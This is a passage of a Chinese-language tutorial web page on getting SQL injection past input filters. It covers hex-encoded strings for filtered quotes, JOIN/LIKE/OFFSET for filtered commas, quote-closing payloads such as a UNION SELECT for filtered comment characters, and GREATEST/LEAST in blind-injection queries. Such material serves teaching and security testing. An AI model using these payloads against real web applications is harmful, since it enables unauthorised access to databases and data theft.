  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h2 id="过滤引号">过滤引号<a class="anchor" href="#过滤引号">#</a></h2>
<h3 id="使用16进制绕过">使用16进制绕过<a class="anchor" href="#使用16进制绕过">#</a></h3>
<p>会使用到引号的地方一般是在最后的where子句中。如下面的一条SQL语句，这条语句就是一个简单的用来查选得到users表中所有字段的一条语句：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">select</span><span class="w"> </span><span class="k">column_name</span><span class="w">  </span><span class="k">from</span><span class="w"> </span><span class="n">information_schema</span><span class="p">.</span><span class="n">tables</span><span class="w"> </span><span class="k">where</span><span class="w"> </span><span class="k">table_name</span><span class="o">=</span><span class="s2">&#34;users&#34;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这个时候如果引号被过滤了，那么上面的<code>where</code>子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。 <code>users</code>的十六进制的字符串是<code>7573657273</code>。那么最后的SQL语句就变为了：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">select</span><span class="w"> </span><span class="k">column_name</span><span class="w">  </span><span class="k">from</span><span class="w"> </span><span class="n">information_schema</span><span class="p">.</span><span class="n">tables</span><span class="w"> </span><span class="k">where</span><span class="w"> </span><span class="k">table_name</span><span class="o">=</span><span class="mi">0</span><span class="n">x7573657273</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h2 id="过滤逗号">过滤逗号<a class="anchor" href="#过滤逗号">#</a></h2>
<h3 id="使用from关键字绕过">使用from关键字绕过<a class="anchor" href="#使用from关键字绕过">#</a></h3>
<p>对于<code>substr()</code>和<code>mid()</code>这两个方法可以使用<code>from to</code>的方式来解决：</p>
<h3 id="使用join关键字绕过">使用join关键字绕过<a class="anchor" href="#使用join关键字绕过">#</a></h3>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">union</span><span class="w"> </span><span class="k">select</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="w">
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="err">等价于</span><span class="w">
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="k">union</span><span class="w"> </span><span class="k">select</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="p">(</span><span class="k">select</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="n">a</span><span class="w"> </span><span class="k">join</span><span class="w"> </span><span class="p">(</span><span class="k">select</span><span class="w"> </span><span class="mi">2</span><span class="p">)</span><span class="n">b</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="使用like关键字绕过">使用like关键字绕过<a class="anchor" href="#使用like关键字绕过">#</a></h3>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">select</span><span class="w"> </span><span class="n">ascii</span><span class="p">(</span><span class="n">mid</span><span class="p">(</span><span class="k">user</span><span class="p">(),</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">))</span><span class="o">=</span><span class="mi">80</span><span class="w">   </span><span class="o">#</span><span class="err">等价于</span><span class="w">
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="k">select</span><span class="w"> </span><span class="k">user</span><span class="p">()</span><span class="w"> </span><span class="k">like</span><span class="w"> </span><span class="s1">&#39;r%&#39;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="使用offset关键字绕过">使用offset关键字绕过<a class="anchor" href="#使用offset关键字绕过">#</a></h3>
<p>对于limit可以使用offset来绕过：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">select</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">news</span><span class="w"> </span><span class="k">limit</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="w">
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="err">等价于</span><span class="w">
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="k">select</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">news</span><span class="w"> </span><span class="k">limit</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="k">offset</span><span class="w"> </span><span class="mi">0</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h2 id="过滤注释符--和----">过滤注释符（ <code>#</code> 和 <code>--</code> ）<a class="anchor" href="#过滤注释符--和----">#</a></h2>
<h3 id="手动闭合引号不使用注释符">手动闭合引号，不使用注释符<a class="anchor" href="#手动闭合引号不使用注释符">#</a></h3>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="s1">&#39; union select 1,2,3||&#39;</span><span class="mi">1</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>或者：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="s1">&#39; union select 1,2,&#39;</span><span class="mi">3</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h2 id="过滤比较符号---和--">过滤比较符号 （ <code>&lt;</code> 和 <code>&gt;</code> ）<a class="anchor" href="#过滤比较符号---和--">#</a></h2>
<h3 id="使用greatestleast函数绕过">使用**<code>greatest()</code>、<code>least（）</code>函数**绕过<a class="anchor" href="#使用greatestleast函数绕过">#</a></h3>
<p>greatest()、least（）：（前者返回最大值，后者返回最小值）</p>
<p>同样是在使用盲注的时候，在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符，那么就需要使用到greatest来进行绕过了</p>
<p>最常见的一个盲注的SQL语句：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">select</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">users</span><span class="w"> </span><span class="k">where</span><span class="w"> </span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="n">ascii</span><span class="p">(</span><span class="n">substr</span><span class="p">(</span><span class="k">database</span><span class="p">(),</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">))</span><span class="o">&gt;</span><span class="mi">64</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
